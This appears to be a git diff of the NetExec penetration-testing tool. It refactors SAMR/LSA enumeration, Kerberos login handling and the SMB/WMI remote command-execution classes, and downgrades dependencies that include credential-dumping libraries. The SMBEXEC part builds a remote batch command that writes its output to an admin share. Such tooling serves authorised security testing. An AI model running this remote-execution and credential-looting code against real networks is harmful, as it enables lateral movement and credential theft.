self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
self.samr_query = SAMRQuery(
username=self.username,
password=self.password,
domain=self.domain,
remote_name=self.addr,
remote_host=self.addr,
kerberos=self.doKerberos,
aesKey=self.aesKey,
)
self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
def get_builtin_groups(self):
domains = self.samr_query.get_domains()
@@ -49,6 +56,7 @@ class SamrFunc:
domain_handle = self.samr_query.get_domain_handle("Builtin")
return self.samr_query.get_domain_aliases(domain_handle)
def get_custom_groups(self):
domains = self.samr_query.get_domains()
custom_groups = {}
@@ -91,7 +99,6 @@ class SAMRQuery:
remote_name="",
remote_host="",
kerberos=None,
kdcHost="",
aesKey="",
):
self.__username = username
@@ -104,7 +111,6 @@ class SAMRQuery:
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kerberos = kerberos
self.__kdcHost = kdcHost
self.dce = self.get_dce()
self.server_handle = self.get_server_handle()
@@ -113,7 +119,7 @@ class SAMRQuery:
nxc_logger.debug(f"Binding to {string_binding}")
# using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
return transport.SMBTransport(
self.__remote_name,
self.__remote_host,
self.__port,
r"\samr",
self.__username,
@@ -123,12 +129,10 @@ class SAMRQuery:
self.__nthash,
self.__aesKey,
doKerberos=self.__kerberos,
kdcHost=self.__kdcHost,
)
def get_dce(self):
rpc_transport = self.get_transport()
rpc_transport.setRemoteHost(self.__remote_host)
try:
dce = rpc_transport.get_dce_rpc()
dce.connect()
@@ -164,7 +168,7 @@ class SAMRQuery:
def get_domain_aliases(self, domain_handle):
"""Use a dictionary comprehension to generate the aliases dictionary.
Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
"""
return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
@@ -180,7 +184,7 @@ class SAMRQuery:
class LSAQuery:
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None):
def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", aesKey="", kerberos=None, logger=None):
self.__username = username
self.__password = password
self.__domain = domain
@@ -190,7 +194,6 @@ class LSAQuery:
self.__port = port
self.__remote_name = remote_name
self.__remote_host = remote_host
self.__kdcHost = kdcHost
self.__kerberos = kerberos
self.dce = self.get_dce()
self.policy_handle = self.get_policy_handle()
@@ -202,7 +205,7 @@ class LSAQuery:
rpc_transport.set_dport(self.__port)
rpc_transport.setRemoteHost(self.__remote_host)
if self.__kerberos:
rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
rpc_transport.set_kerberos(True, None)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(
@@ -234,7 +237,7 @@ class LSAQuery:
def lookup_sids(self, sids):
"""Use a list comprehension to generate the names list.
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
"""
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
+2 -3
View File
@@ -25,8 +25,6 @@ class UserSamrDump:
self.nthash = ""
self.aesKey = connection.aesKey
self.doKerberos = connection.kerberos
self.host = connection.host
self.kdcHost = connection.kdcHost
self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
self.users = []
self.rpc_transport = None
@@ -51,7 +49,8 @@ class UserSamrDump:
self.logger.debug(f"Invalid Protocol: {protocol}")
self.logger.debug(f"Trying protocol {protocol}")
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host)
self.rpc_transport = transport.SMBTransport(self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos)
try:
self.fetch_users(requested_users)
break
+5 -6
View File
@@ -7,9 +7,9 @@ from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class SMBEXEC:
def __init__(self, host, share_name, smbconnection, username="", password="", domain="", doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
def __init__(self, host, share_name, smbconnection, protocol, username="", password="", domain="", doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, port=445, logger=None, tries=None):
self.__host = host
self.__share_name = share_name
self.__share_name = "C$"
self.__port = port
self.__username = username
self.__password = password
@@ -26,9 +26,9 @@ class SMBEXEC:
self.__retOutput = False
self.__rpctransport = None
self.__scmr = None
self.__conn = None
self.__aesKey = aesKey
self.__doKerberos = doKerberos
self.__remoteHost = remoteHost
self.__kdcHost = kdcHost
self.__tries = tries
self.logger = logger
@@ -49,8 +49,7 @@ class SMBEXEC:
self.__rpctransport.set_dport(self.__port)
if hasattr(self.__rpctransport, "setRemoteHost"):
self.__rpctransport.setRemoteHost(self.__remoteHost)
self.__rpctransport.setRemoteHost(self.__host)
if hasattr(self.__rpctransport, "set_credentials"):
# This method exists only for selected protocol sequences.
self.__rpctransport.set_credentials(
@@ -93,7 +92,7 @@ class SMBEXEC:
self.__output = gen_random_string(6)
self.__batchFile = gen_random_string(6) + ".bat"
command = self.__shell + "echo " + data + f" ^> \\\\%COMPUTERNAME%\\{self.__share}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
command = self.__shell + "echo " + data + f" ^> \\\\127.0.0.1\\{self.__share_name}\\{self.__output} 2^>^&1 > %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c %TEMP%\\{self.__batchFile} & %COMSPEC% /Q /c del %TEMP%\\{self.__batchFile}" if self.__retOutput else self.__shell + data
with open(path_join("/tmp", "nxc_hosted", self.__batchFile), "w") as batch_file:
batch_file.write(command)
+2 -4
View File
@@ -9,7 +9,7 @@ from impacket.dcerpc.v5.dtypes import NULL
class WMIEXEC:
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
self.__target = target
self.__username = username
self.__password = password
@@ -26,7 +26,6 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__aesKey = aesKey
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__doKerberos = doKerberos
self.__retOutput = True
self.__stringBinding = ""
@@ -53,10 +52,9 @@ class WMIEXEC:
oxidResolver=True,
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
)
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
if not flag or not self.__stringBinding:
error_msg = f'WMIEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
+22 -29
View File
@@ -1,4 +1,5 @@
import os
import logging
from io import StringIO
from datetime import datetime
@@ -28,6 +29,8 @@ class wmi(connection):
self.hash = ""
self.lmhash = ""
self.nthash = ""
self.fqdn = ""
self.remoteName = ""
self.server_os = None
self.doKerberos = False
self.stringBinding = None
@@ -61,10 +64,10 @@ class wmi(connection):
)
def create_conn_obj(self):
connection_target = fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]"
self.logger.debug(f"Creating WMI connection object to {connection_target}")
if self.remoteName == "":
self.remoteName = self.host
try:
rpctansport = transport.DCERPCTransportFactory(connection_target)
rpctansport = transport.DCERPCTransportFactory(fr"ncacn_ip_tcp:{self.remoteName}[{self.port!s}]")
rpctansport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="")
rpctansport.setRemoteHost(self.host)
rpctansport.set_connect_timeout(self.args.rpc_timeout)
@@ -74,10 +77,9 @@ class wmi(connection):
dce.bind(MSRPC_UUID_PORTMAP)
dce.disconnect()
except Exception as e:
self.logger.debug(f"Received error creating WMI connection object: {e}")
self.logger.debug(str(e))
return False
else:
self.logger.debug(f"Successfully created WMI connection object to {connection_target}")
self.conn = rpctansport
return True
@@ -131,14 +133,7 @@ class wmi(connection):
self.domain = self.hostname
if self.args.domain:
self.domain = self.args.domain
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
if not self.kdcHost and self.domain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.fqdn = f"{self.hostname}.{self.domain}"
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
@@ -150,13 +145,13 @@ class wmi(connection):
def check_if_admin(self):
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.rpc_timeout)
flag, self.stringBinding = dcom_FirewallChecker(iInterface, self.args.rpc_timeout)
except Exception as e:
self.logger.debug(f"Received error while checking admin: {e}")
if "dcom" in locals():
dcom.disconnect()
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
else:
@@ -177,19 +172,19 @@ class wmi(connection):
if "access_denied" not in str(e).lower():
self.logger.fail(str(e))
return False
else:
dcom.disconnect()
self.logger.extra["protocol"] = "WMI"
self.admin_privs = True
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.logger.debug("Starting WMI login with Kerberos")
logging.getLogger("impacket").disabled = True
lmhash = ""
nthash = ""
self.password = password
self.username = username
self.domain = domain
self.remoteName = self.fqdn
self.create_conn_obj()
if password == "":
@@ -204,15 +199,12 @@ class wmi(connection):
if useCache and kerb_pass == "":
ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
self.logger.debug(f"Using ccache from {ccache}")
username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
try:
self.logger.debug(f"Attempting to connect via WMI to {self.host}")
self.conn.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash, aesKey=self.aesKey)
self.conn.setRemoteHost(self.host)
self.conn.set_kerberos(True, kdcHost)
dce = self.conn.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
@@ -222,21 +214,22 @@ class wmi(connection):
except Exception as e:
dce.disconnect()
error_msg = str(e).lower()
self.logger.debug(f"WMI errored while connecting: {error_msg}")
self.logger.debug(error_msg)
if "unpack requires a buffer of 4 bytes" in error_msg:
error_msg = "Kerberos authentication failure"
out = f"{self.domain}\\{self.username}{used_ccache} {error_msg}"
self.logger.fail(out)
elif "kerberos sessionerror" in error_msg:
elif "kerberos sessionerror" in str(e).lower():
out = f"{self.domain}\\{self.username}{used_ccache} {next(iter(e.getErrorString()))}"
self.logger.fail(out, color="magenta")
return False
else:
out = f"{self.domain}\\{self.username}{used_ccache} {e!s}"
self.logger.fail(out, color="red")
return False
else:
try:
self.logger.debug("Got valid creds, trying to get data from RPC connection")
# Get data from rpc connection if got vaild creds
entry_handle = epm.ept_lookup_handle_t()
request = epm.ept_lookup()
request["inquiry_type"] = 0x0
@@ -259,9 +252,9 @@ class wmi(connection):
else:
self.doKerberos = True
self.check_if_admin()
dce.disconnect()
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
dce.disconnect()
return True
def plaintext_login(self, domain, username, password):
@@ -380,7 +373,7 @@ class wmi(connection):
namespace = self.args.wmi_namespace
try:
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
dcom = DCOMConnection(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
@@ -426,11 +419,11 @@ class wmi(connection):
return False
if self.args.exec_method == "wmiexec":
exec_method = wmiexec.WMIEXEC(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
exec_method = wmiexec.WMIEXEC(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
output = exec_method.execute(command, get_output)
elif self.args.exec_method == "wmiexec-event":
exec_method = wmiexec_event.WMIEXEC_EVENT(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.host, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
exec_method = wmiexec_event.WMIEXEC_EVENT(self.conn.getRemoteName(), self.username, self.password, self.domain, self.lmhash, self.nthash, self.doKerberos, self.kdcHost, self.aesKey, self.logger, self.args.exec_timeout, self.args.codec)
output = exec_method.execute(command, get_output)
self.conn.disconnect()
+4 -5
View File
@@ -24,8 +24,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
class WMIEXEC:
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
self.__target = target
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
self.__host = host
self.__username = username
self.__password = password
self.__domain = domain
@@ -33,7 +33,6 @@ class WMIEXEC:
self.__nthash = nthash
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__aesKey = aesKey
self.logger = logger
self.__exec_timeout = exec_timeout
@@ -45,7 +44,7 @@ class WMIEXEC:
self.__pwd = "C:\\"
self.__codec = codec
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
@@ -99,4 +98,4 @@ class WMIEXEC:
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
retVal = descriptor.DeleteKey(2147483650, self.__registry_Path)
except Exception as e:
self.logger.debug(f"Target: {self.__target} removing temporary registry path error: {e!s}")
self.logger.debug(f"Target: {self.__host} removing temporary registry path error: {e!s}")
+4 -5
View File
@@ -31,8 +31,8 @@ from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Lo
class WMIEXEC_EVENT:
def __init__(self, target, username, password, domain, lmhash, nthash, doKerberos, kdcHost, remoteHost, aesKey, logger, exec_timeout, codec):
self.__target = target
def __init__(self, host, username, password, domain, lmhash, nthash, doKerberos, kdcHost, aesKey, logger, exec_timeout, codec):
self.__host = host
self.__username = username
self.__password = password
self.__domain = domain
@@ -40,7 +40,6 @@ class WMIEXEC_EVENT:
self.__nthash = nthash
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.__remoteHost = remoteHost
self.__aesKey = aesKey
self.__outputBuffer = ""
self.__retOutput = True
@@ -51,7 +50,7 @@ class WMIEXEC_EVENT:
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey, remoteHost=self.__remoteHost)
self.__dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, aesKey=self.__aesKey)
iInterface = self.__dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
iWbemLevel1Login = IWbemLevel1Login(iInterface)
self.__iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
@@ -76,7 +75,7 @@ class WMIEXEC_EVENT:
def execute_handler(self, command):
# Generate vbsript and execute it
self.logger.debug(f"{self.__target}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
self.logger.debug(f"{self.__host}: Execute command via wmi event, job instance id: {self.__instanceID}, command result instance id: {self.__instanceID_StoreResult}")
self.execute_remote(command)
# Get command results
Generated
+18 -18
View File
@@ -189,13 +189,13 @@ shell = ["prompt_toolkit"]
[[package]]
name = "asyauth"
version = "0.0.20"
version = "0.0.18"
description = "Unified authentication library"
optional = false
python-versions = ">=3.7"
files = [
{file = "asyauth-0.0.20-py3-none-any.whl", hash = "sha256:b4697c5be28869bb5df8ff217564e77a863385ef9495da7cb215deac4ebe9fac"},
{file = "asyauth-0.0.20.tar.gz", hash = "sha256:41056020f7689cf5f0a559759c7f02a6ce2719bda84df783bd1058d5781e514b"},
{file = "asyauth-0.0.18-py3-none-any.whl", hash = "sha256:1fff4333d5db8c6c4a897efdf5e95a41a44cd257638d8296003f1a7a4a9e95a1"},
{file = "asyauth-0.0.18.tar.gz", hash = "sha256:b7602894fd0667cf1bd3e16a1d71c83f557a4c857ad41bddf30557a59665b4ad"},
]
[package.dependencies]
@@ -634,13 +634,13 @@ wmi = ["wmi (>=1.5.1,<2.0.0)"]
[[package]]
name = "dploot"
version = "2.7.1"
version = "2.2.4"
description = "DPAPI looting remotely in Python"
optional = false
python-versions = "<4.0,>=3.7"
python-versions = ">=3.7,<4.0"
files = [
{file = "dploot-2.7.1-py3-none-any.whl", hash = "sha256:4d557a88c4fd6f6a53f45333ccb853e4125f0bf101d5336937ac1f6c0afb7171"},
{file = "dploot-2.7.1.tar.gz", hash = "sha256:bcd2f9c6b6647d83b5d62f0446a0fdeb7eefacc6f71a49a8dd18ef43538d5db6"},
{file = "dploot-2.2.4-py3-none-any.whl", hash = "sha256:a70c8280972a1fb7150093560093e46a9bb5936396f563ae9050a20dcf1ad96e"},
{file = "dploot-2.2.4.tar.gz", hash = "sha256:e34ff928e94416f3cbf688427d1de4aa88a4a4a15f24edb6313a2adc685a98a3"},
]
[package.dependencies]
@@ -947,13 +947,13 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
[[package]]
name = "lsassy"
version = "3.1.11"
version = "3.1.10"
description = "Python library to extract credentials from lsass remotely"
optional = false
python-versions = ">=3.6"
files = [
{file = "lsassy-3.1.11-py3-none-any.whl", hash = "sha256:ee9588761f307e9bba66485cfb60597091db232d2aadde27bcb0504f8faea7ba"},
{file = "lsassy-3.1.11.tar.gz", hash = "sha256:0cfad66c53bee67e84810d73058fd70f15aa7570a0e96009d57160dfda1fb8cf"},
{file = "lsassy-3.1.10-py3-none-any.whl", hash = "sha256:c25bc349f54d10329fae83a65b3c5a679e298883273e319a515916f362068b6c"},
{file = "lsassy-3.1.10.tar.gz", hash = "sha256:748ee7e49f792d4532155f3ef0467fe505e0c32386195c5ae6bcaafa699e28f3"},
]
[package.dependencies]
@@ -1299,13 +1299,13 @@ files = [
[[package]]
name = "msldap"
version = "0.5.10"
version = "0.5.9"
description = "Python library to play with MS LDAP"
optional = false
python-versions = ">=3.7"
files = [
{file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"},
{file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"},
{file = "msldap-0.5.9-py3-none-any.whl", hash = "sha256:26c0418086f788c1197341ee31d4ffbc69c057aef339cd91e882ca7c1fb10fcb"},
{file = "msldap-0.5.9.tar.gz", hash = "sha256:5f3c4e362296e0e1eba447eda9f230988a7b2a08826f7b3ed34ec9612ebcfe33"},
]
[package.dependencies]
@@ -2175,13 +2175,13 @@ widechars = ["wcwidth"]
[[package]]
name = "termcolor"
version = "2.4.0"
version = "2.0.1"
description = "ANSI color formatting for output in terminal"
optional = false
python-versions = ">=3.8"
python-versions = ">=3.7"
files = [
{file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"},
{file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"},
{file = "termcolor-2.0.1-py3-none-any.whl", hash = "sha256:7e597f9de8e001a3208c4132938597413b9da45382b6f1d150cff8d062b7aaa3"},
{file = "termcolor-2.0.1.tar.gz", hash = "sha256:6b2cf769e93364a2676e1de56a7c0cff2cf5bd07f37e9cc80b0dd6320ebfe388"},
]
[package.extras]
@@ -2351,4 +2351,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
[metadata]
lock-version = "2.0"
python-versions = "^3.8.0"
content-hash = "7bde962ed54681c55a1249f2f8272ebf64109417f2a28293eab3eea90ce05c6f"
content-hash = "10aa4808e56fd71b438e074ae1a328290ec06b6e3e674b6cdc7e8bcf7eb9646e"
+131 -132
View File
@@ -1,132 +1,131 @@
[tool.poetry]
name = "netexec"
version = "1.1.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
"Alexander Neff <[email protected]>",
"Thomas Seigneuret <[email protected]>"
]
readme = "README.md"
homepage = "https://github.com/Pennyw0rth/NetExec"
repository = "https://github.com/Pennyw0rth/NetExec"
exclude = []
include = [
"nxc/data/*",
"nxc/modules/*"
]
license = "BSD-2-Clause"
classifiers = [
'Environment :: Console',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 3',
'Topic :: Security',
]
packages = [
{ include = "nxc"}
]
[tool.poetry.scripts]
nxc = 'nxc.netexec:main'
netexec = 'nxc.netexec:main'
NetExec = 'nxc.netexec:main'
nxcdb = 'nxc.nxcdb:main'
[tool.poetry.dependencies]
python = "^3.8.0"
aardwolf = "^0.2.8"
aioconsole = "^0.6.2"
aiosqlite = "^0.19.0"
argcomplete = "^3.1.4"
asyauth = ">=0.0.20"
beautifulsoup4 = ">=4.11,<5"
bloodhound = "^1.7.2"
dploot = "^2.7.1"
dsinternals = "^1.2.4"
impacket = { git = "https://github.com/fortra/impacket.git" }
lsassy = ">=3.1.11"
masky = "^0.2.0"
minikerberos = "^0.4.1"
msgpack = "^1.0.0"
msldap = "^0.5.10"
neo4j = "^5.0.0"
paramiko = "^3.3.1"
poetry-dynamic-versioning = "^1.2.0"
pyasn1-modules = "^0.3.0"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
pypykatz = "^0.6.8"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
python-dateutil = ">=2.8.2"
python-libnmap = "^0.7.3"
requests = ">=2.27.1"
rich = "^13.3.5"
sqlalchemy = "^2.0.4"
termcolor = ">=2.4.0"
terminaltables = "^3.1.0"
xmltodict = "^0.13.0"
[tool.poetry.group.dev.dependencies]
flake8 = "*"
shiv = "*"
pytest = "^7.2.2"
ruff = "=0.0.292"
[build-system]
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
build-backend = "poetry_dynamic_versioning.backend"
[tool.poetry-dynamic-versioning]
enable = true
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
format = "{base}+{commit}"
[tool.ruff]
# Ruff doesn't enable pycodestyle warnings (`W`) or
# McCabe complexity (`C901`) by default.
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
# Should tackle flake8-use-pathlib (PTH) at some point
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
# Allow autofix for all enabled rules (when `--fix`) is provided.
fixable = ["ALL"]
unfixable = []
# Exclude a variety of commonly ignored directories.
exclude = [
".bzr",
".direnv",
".eggs",
".git",
".git-rewrite",
".hg",
".mypy_cache",
".nox",
".pants.d",
".pytype",
".ruff_cache",
".svn",
".tox",
".venv",
"__pypackages__",
"_build",
"buck-out",
"build",
"dist",
"node_modules",
"venv",
]
per-file-ignores = {}
line-length = 65000
# Allow unused variables when underscore-prefixed.
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
target-version = "py37"
[tool.ruff.flake8-quotes]
docstring-quotes = "double"
inline-quotes = "double"
multiline-quotes = "double"
[tool.poetry]
name = "netexec"
version = "1.1.0"
description = "The Network Execution tool"
authors = [
"Marshall Hallenbeck <[email protected]>",
"Alexander Neff <[email protected]>",
"Thomas Seigneuret <[email protected]>"
]
readme = "README.md"
homepage = "https://github.com/Pennyw0rth/NetExec"
repository = "https://github.com/Pennyw0rth/NetExec"
exclude = []
include = [
"nxc/data/*",
"nxc/modules/*"
]
license = "BSD-2-Clause"
classifiers = [
'Environment :: Console',
'License :: OSI Approved :: BSD License',
'Programming Language :: Python :: 3',
'Topic :: Security',
]
packages = [
{ include = "nxc"}
]
[tool.poetry.scripts]
nxc = 'nxc.netexec:main'
netexec = 'nxc.netexec:main'
NetExec = 'nxc.netexec:main'
nxcdb = 'nxc.nxcdb:main'
[tool.poetry.dependencies]
python = "^3.8.0"
requests = ">=2.27.1"
beautifulsoup4 = ">=4.11,<5"
lsassy = ">=3.1.8"
termcolor = "2.0.1"
msgpack = "^1.0.0"
neo4j = "^5.0.0"
pylnk3 = "^0.4.2"
pypsrp = "^0.8.1"
paramiko = "^3.3.1"
impacket = { git = "https://github.com/fortra/impacket.git" }
dsinternals = "^1.2.4"
xmltodict = "^0.13.0"
terminaltables = "^3.1.0"
aioconsole = "^0.6.2"
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
minikerberos = "^0.4.1"
pypykatz = "^0.6.8"
aardwolf = "^0.2.7"
dploot = "^2.2.1"
bloodhound = "^1.6.1"
asyauth = "~0.0.14"
masky = "^0.2.0"
sqlalchemy = "^2.0.4"
aiosqlite = "^0.19.0"
pyasn1-modules = "^0.3.0"
rich = "^13.3.5"
python-libnmap = "^0.7.3"
argcomplete = "^3.1.4"
python-dateutil = ">=2.8.2"
poetry-dynamic-versioning = "^1.2.0"
[tool.poetry.group.dev.dependencies]
flake8 = "*"
shiv = "*"
pytest = "^7.2.2"
ruff = "=0.0.292"
[build-system]
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
build-backend = "poetry_dynamic_versioning.backend"
[tool.poetry-dynamic-versioning]
enable = true
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
format = "{base}+{commit}"
[tool.ruff]
# Ruff doesn't enable pycodestyle warnings (`W`) or
# McCabe complexity (`C901`) by default.
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
# Should tackle flake8-use-pathlib (PTH) at some point
